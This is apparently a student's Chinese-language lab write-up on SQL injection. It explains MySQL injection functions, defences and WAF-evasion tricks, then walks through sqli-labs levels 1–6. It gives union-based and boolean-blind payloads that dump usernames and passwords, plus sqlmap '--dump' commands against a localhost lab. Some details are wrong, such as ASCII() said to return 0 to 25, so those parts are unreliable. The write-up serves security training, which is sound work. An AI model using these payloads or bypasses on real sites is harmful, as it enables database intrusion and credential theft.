1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
1.SQL注入原理
SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,大多数Web应用都使用SQL数据库来存放应用程序的数据,在后台都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起。用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。简单的来说就是攻击者向Web应用提交包含恶意SQL代码的数据输入,使得原本预期执行的SQL查询被篡改。
2.SQL注入常用函数及含义
1.mysql数据库基本函数
#MySQL数据库版本
version()
#数据库用户名
user()
#当前数据库名
database()
#数据库安装路径
@@basedir
#数据库文件存放路径
@@datadir
#操作系统版本
@@version_compile_os
2.union联合注入函数
函数concat()
语法:concat(str1,str2,…)
拼接字符串,直接拼接,字符之间没有符号
语法:concat_ws(‘separator’, str1, str2, …)
指定符号进行拼接
group_concat(username)
将username中的内容以逗号隔开显示出来
3.sql盲注函数
1. 布尔盲注函数
返回指定对象的长度
length(database())返回当前数据库名的长度
left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)
substr()和substring()函数实现的功能是一样的,均为截取字符串。
substr(database(),1,1),查看数据库名第一位,substr(database(),2,1)查看数据库名第二位,依次查看各位字符。
与substr()函数用法相同
返回字符串str的最左字符的数值,ASCII()返回数值是从0到25
与函数ascii()相同,返回字符串第一个字符的 ASCII 值
2. 时间盲注函数
sleep(5) 过5s响应
if(1=1,3,4) 返回3
if(1=2,3,4) 返回4
4.报错注入函数
函数floor():函数floor(),向下取整
如:floor(3.8) = 3
函数rand():取随机数,若有参数x,则每个x对应一个固定的值
rand(0) = (0,1)内的任意一个数
函数exp():函数exp()是以e为底的指数函数
~:~0表示对0进行按位取反
将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
通过子查询与按位取反,造成一个DOUBLE overflow error,并借由此注出数据。
函数updatexml():
updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
函数extractvalue():
extractvalue(XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
在数据库中报错
5.读写文件函数
函数load_file():
作用:load_file这个函数是读取文件的
函数into outfile:
作用:函数into outfile 与 into dumpfile都是写文件
3.SQL注入防御手段
1.使用参数化查询
使用参数化查询可以防止SQL注入攻击,在Java中,可以使用PreparedStatement来实现参数化查询。
2. 输入验证和过滤
输入验证和过滤可以确保用户输入数据的安全性和有效性,可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。
3. 使用存储过程
存储过程是一组预定义的SQL语句集合,可以在数据库中进行重复性和复杂性的操作。它们可以接受参数,并且可以在数据库中进行重复使用。
4. 最小权限原则
最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限,这样一个用户就只能对他能负责的数据库进行操作。
5. 使用ORM框架
ORM(对象关系映射)框架是一种将对象模型和关系数据库之间进行映射的技术。它允许开发人员使用面向对象的方式操作数据库,而不需要编写繁琐的SQL语句。
6. 使用安全的数据库连接
1.使用SSL/TLS加密:通过使用SSL/TLS加密,可以确保数据库连接在传输过程中的数据安全。
2. 避免在连接字符串中明文存储敏感信息:可以敏感信息(如账号、密码等)存储在配置文件或使用加密算法进行加密,然后在代码中解密使用。
3. 定期更新数据库连接密码:定期更改数据库连接密码可以增加数据库的安全性。
7. 使用防火墙和入侵检测系统
使用防火墙和入侵检测系统是为了保护计算机网络免受未经授权的访问和恶意攻击。
1.防火墙:
防火墙是一种网络安全设备,用于监控和控制进出网络的流量。它可以根据预定义的规则集来允许或拒绝特定类型的流量。防火墙通常位于网络的边界,用于保护内部网络免受外部威胁。
2.入侵检测系统(Intrusion Detection System,简称IDS):
入侵检测系统是一种监控和分析网络流量的安全设备,用于检测和报告潜在的恶意活动和攻击。它可以通过分析网络流量、日志和其他安全事件来识别异常行为和攻击模式。
4.SQL注入常用绕过waf的方法
-
提交方式变换:许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送。
-
大小写替换和编码绕过:通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码。
-
注释符和内联注释:使用SQL注释符(如
--
、#
)或HTML/JavaScript注释(如<!-- -->
、//
)来绕过WAF对特定关键字的过滤。 -
爬虫白名单绕过:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
1.第一关
提示输入数字值的ID作为参数,我们输入?id=1
接下来我们判断sql语句是否是拼接,且是字符型还是数字型。输入?id=1'
发现报错,是字符型且存在sql注入漏洞,加个注释试试:?id=1'--+
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1'union select 1,database(),version()--+
第四步:查找数据库表名:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:查找列名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:通过上述操作可以得到几个敏感字段就是username,password,id,接下来我们就要得到该字段对应的内容。查询username,password,id。
?id=-1'union select 1,2,group_concat(username,"-",id,"-",password) from users --+
2.第二关
提示输入数字值的ID作为参数,我们输入?id=1'。
我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1 order by 3
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1 union select 1,2,3--+
第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1 union select 1,database(),version()--+
第四步:查找数据库表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:查找列名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
第六步:通过上述操作可以得到几个敏感字段就是username,password,id,接下来我们就要得到该字段对应的内容。查询username,password,id。
?id=-1 union select 1,2,group_concat(username,"-",id,"-",password) from users --+
3.第三关
直接输入?id=1',发现属于字符型,且带括号。
闭合括号,输入?id=')--+发现注入点。
联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1') order by 3--+
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1') union select 1,2,3--+
第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1') union select 1,database(),version()--+
第四步:查找数据库表名:
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:查找列名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:通过上述操作可以得到几个敏感字段就是username,password,id,接下来我们就要得到该字段对应的内容。查询username,password,id。
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
4.第四关
直接输入?id=1'。
输入?id=1"。
闭合括号,输入?id=")--+发现注入点。
联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1") order by 3--+
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1") union select 1,2,3--+
第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1") union select 1,database(),version()--+
第四步:查找数据库表名:
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:查找列名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:通过上述操作可以得到几个敏感字段就是username,password,id,接下来我们就要得到该字段对应的内容。查询username,password,id。
?id=-1") union select 1,2,group_concat(username ,"-",id ,"-", password) from users--+
5.第五关
直接输入?id=1'。
输入?id=1。
输入?id=1' union select 1,2,3--+,发现没有相应回显。
第五关根据页面结果得知是字符型,但是只有对于请求对错出现不一样页面,这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数。
查询资料可以输入?id=1'and length((select database()))>9--+试试,发现没有了“You are in......”的回显,说明存在注入点。
由于任务要求,我只完成到了这里,后续相关操作可参考https://blog.csdn.net/qq_41420747/article/details/81836327
3.总结SQLi的手工注入的步骤
1.注入点测试
注入点测试主要分为是否存在sql注入检测与sql注入类型检测两个部分。要检测时候否存在sql注入只需要在要进行检测的参数后面加单引号,看是会因’个数不匹配而报错(这里的报错不一定是真的报错,可能只是页面不在正常显示之前的内容也可以看做报错的一种)。
http://xxx/abc.php?id=1'
sql注入的注入点的类型主要分为数字型注入点和字符型注入点两种。
数字型检测
当输入变量的类型为数字类型时,可以使用and 1=1和and 1=2配合进行注入点类型进行检测:
- Url 地址中输入
http://xxx/abc.php?id= x and 1=1
页面依旧运行正常,继续进行下一步。- Url 地址中继续输入
http://xxx/abc.php?id= x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
如果当前注入点类型为数字型,
当输入
and 1=1
时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1
,没有语法错误且逻辑判断为正确,所以返回正常。 当输入
and 1=2
时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2
,没有语法错误但是逻辑判断为假,所以返回错误。
而如果该注入点类型为字符型,
当输入
and 1=1
和and 1=2
时,后台执行sql语句:select * from <表名> where id='x and 1=1'
和select * from <表名> where id='x and 1=1
,将and语句作为字符进行id匹配,应该都没有查询结果,与事实不符因此该注入点为数字型注入点。
字符型检测
当输入变量为字符型时,可以使用’’ and ‘1’=’1和 ‘ and ‘1’=’2配合进行注入点类型检测:
1.Url 地址中输入
http://xxx/abc.php?id= x' and '1'='1
页面依旧运行正常,继续进行下一步。2.Url 地址中继续输入
http://xxx/abc.php?id= x' and '1'='2'
页面运行错误,则说明此 Sql 注入为数字型注入。
2.判断字段数量
要进行列数测试要使用order by进行测试,不断增加后面的数字,直到出错为止。
http://xxx/abc.php?id=x order by 8
3.判断字段前端回显位置
在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询的字段号,看哪些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤。
# and 1=2为了不展示本改进心跳查询的内容,只展示union进行联合查询的内容 # 最后的#是为了闭合本来sql语句中后面的‘ http://xxx/abc.php?id=x and 1=2 union select 1,2#
4.判断数据库信息
利⽤内置函数暴数据库信息。
version() -- 版本;database() -- 数据库;user() -- ⽤户;不⽤猜解可⽤字段暴数据库信息 ( 有些⽹站不适⽤ )and 1 = 2 union all select version() and 1 = 2union all select database() and 1 = 2union all select user()操作系统信息:and 1 = 2 union all select @@global.version_compile_os from mysql.user数据库权限:and ord(mid(user(), 1 , 1 )) = 114 -- 返回正常说明为 root
5.查找数据库名
查询当前数据库名称我们可以直接使用数据库内置函数database()进行获取。
# 这里将database函数将在第二个参数展示的位置进行展示。也可以写在第一个参数位置 http://xxx/abc.php?id=x and 1=2 union select 1,database()#
6.查找数据库表名
表名获取利用系统自带数据中(mysql中的information_schema)中的tables表中的内容进行获取。tables表中常用的字段如下表所示:
数据表 | 字段 | 含义 |
---|---|---|
tables | table_schema | 字段所属的数据库名 |
tables | table_name | 字段所属的表名 |
union select group_concat(table_name) from information_schema.tables wheretable_schema = database() --+
7.查找列名
字段获取利用系统自带的数据库(mysql中的information_schema)中的columns表中内容进行获取。columns表中常用字段如下表所示:
数据表 | 字段 | 含义 |
---|---|---|
columns | table_schema | 字段所属的数据库名 |
columns | table_name | 字段所属的表名 |
columns | column_name | 字段名称 |
- 1 ' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=' biaoming '),3,4#
8.查数据
-1' union select 1,(select columnsname from tablename),3,4#
4.使用sqlmap通过或验证第六关
先测试一下是否存在SQL注入点:
python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1
由结果可以得到:id变量存在注入点,使用的是GET方法,注入方法可以是布尔盲注、报错注入或时间盲注。
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --dbms=MySQL --current-db
获取表名:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --dbms=MySQL --tables
查找列名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --dbms=MySQL -D security -T users --columns
查取数据:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --dbms=MySQL -D security -T users --dump